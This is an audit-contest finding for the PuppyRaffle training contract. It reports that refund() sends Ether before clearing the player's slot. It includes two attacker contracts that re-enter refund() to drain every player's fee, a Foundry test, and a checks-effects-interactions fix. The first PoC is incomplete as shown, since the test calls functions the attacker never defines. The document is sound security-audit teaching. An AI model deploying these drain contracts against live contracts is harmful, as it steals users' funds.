Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() allows a single player to drain the whole contract

kyu

Root + Impact

Description

· Normal behavior: Players enter the raffle by paying an entrance fee and can request a refund if they decide to leave before the winner is selected. The refund should return the entrance fee to the player and mark their slot as inactive.
· Specific issue: The refund() function sends the entrance fee to the player before updating state (clearing the player's slot). This violates the Checks-Effects-Interactions pattern. A malicious player contract can re-enter refund() during the external call, repeatedly withdrawing funds because its slot hasn't been cleared yet, effectively draining the entire contract's balance.

// Root cause in the codebase with @> marks to highlight the relevant section
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // <-- @> external call (all gas) happens BEFORE state update
​
players[playerIndex] = address(0); // <-- @> state effect happens AFTER the call
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:


· Reason 1: Any player can easily deploy a malicious contract with a receive() function that re-enters refund().

· Reason 2: The function sends all gas forward, and the state update occurs after the external call, making reentrancy trivial to execute without any special constraints.


Impact:


· Impact 1: 100% loss of all funds in the contract, including all players' entrance fees.

· Impact 2: Permanent and non-recoverable; the contract is effectively drained and useless.

Proof of Concept

Explanation of the Exploit:
​
1. The attacker deploys a malicious contract which contains a receive() function.
2. Three honest players enter (3 ETH) and the attacker enters (1 ETH), leaving 4 ETH in the contract.
3. The attacker triggers attack(), which calls refund(index).
4. The contract sends 1 ETH to the attacker. This triggers the malicious receive() function.
5. Crucial flaw: Because the state update (players[playerIndex] = address(0)) happens after the external call, the attacker's slot in the players array is still populated. Therefore, the require checks inside refund() pass again.
6. The attacker recursively calls refund(index) from the receive() function, draining 1 ETH per call until the contract balance is less than entranceFee.
7. This results in a complete drain of the contract's funds.
contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 internal index;
uint256 public recursionCount;
receive() external payable {
recursionCount++;
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(index); // re-enter while slot is still ours
}
}
function enter() external payable {
address[] memory p = new address[](1); p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
index = raffle.getActivePlayerIndex(address(this));
}
}
​
function testExploit_Reentrancy_RefundDrainsContract() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
address[] memory honest = new address[](3);
honest[0] = playerOne; honest[1] = playerTwo; honest[2] = playerThree;
puppyRaffle.enterRaffle{value: 3 * entranceFee}(honest); // 3 ETH
attacker.enter{value: entranceFee}(); // 4 ETH total
attacker.attack(); // fire refund(index)
assertEq(address(puppyRaffle).balance, 0); // drained
assertEq(attacker.recursionCount(), 4);
}

Recommended Mitigation

/*Explanation of the Fix:
This vulnerability is a classic Checks-Effects-Interactions (CEI) violation.
​
1. Effects before Interactions (Critical): Move players[playerIndex] = address(0) before the external call. By updating the state first, if the attacker tries to re-enter refund(), the require(playerAddress != address(0)) will immediately fail, blocking the recursive drain.
2. Reentrancy Guard (Defense-in-Depth): Apply OpenZeppelin's ReentrancyGuard (nonReentrant) to refund, selectWinner, and withdrawFees. This acts as a lock that prevents any external calls from re-entering these functions during their execution, providing a robust second layer of security even if future code changes introduce a new CEI violation*/
-function refund(uint256 playerIndex) public {
- address playerAddress = players[playerIndex];
- require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
- require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
-
- payable(msg.sender).sendValue(entranceFee); // <-- external call (all gas)
-
- players[playerIndex] = address(0); // <-- state effect happens AFTER the call
- emit RaffleRefunded(playerAddress);
- }
+ function refund(uint256 playerIndex) public nonReentrant {
+ address playerAddress = players[playerIndex];
+ require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
+ require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+
+ players[playerIndex] = address(0); // <-- state effect happens BEFORE the call
+ emit RaffleRefunded(playerAddress);
+
+ payable(msg.sender).sendValue(entranceFee); // <-- external call AFTER state update
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 22 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!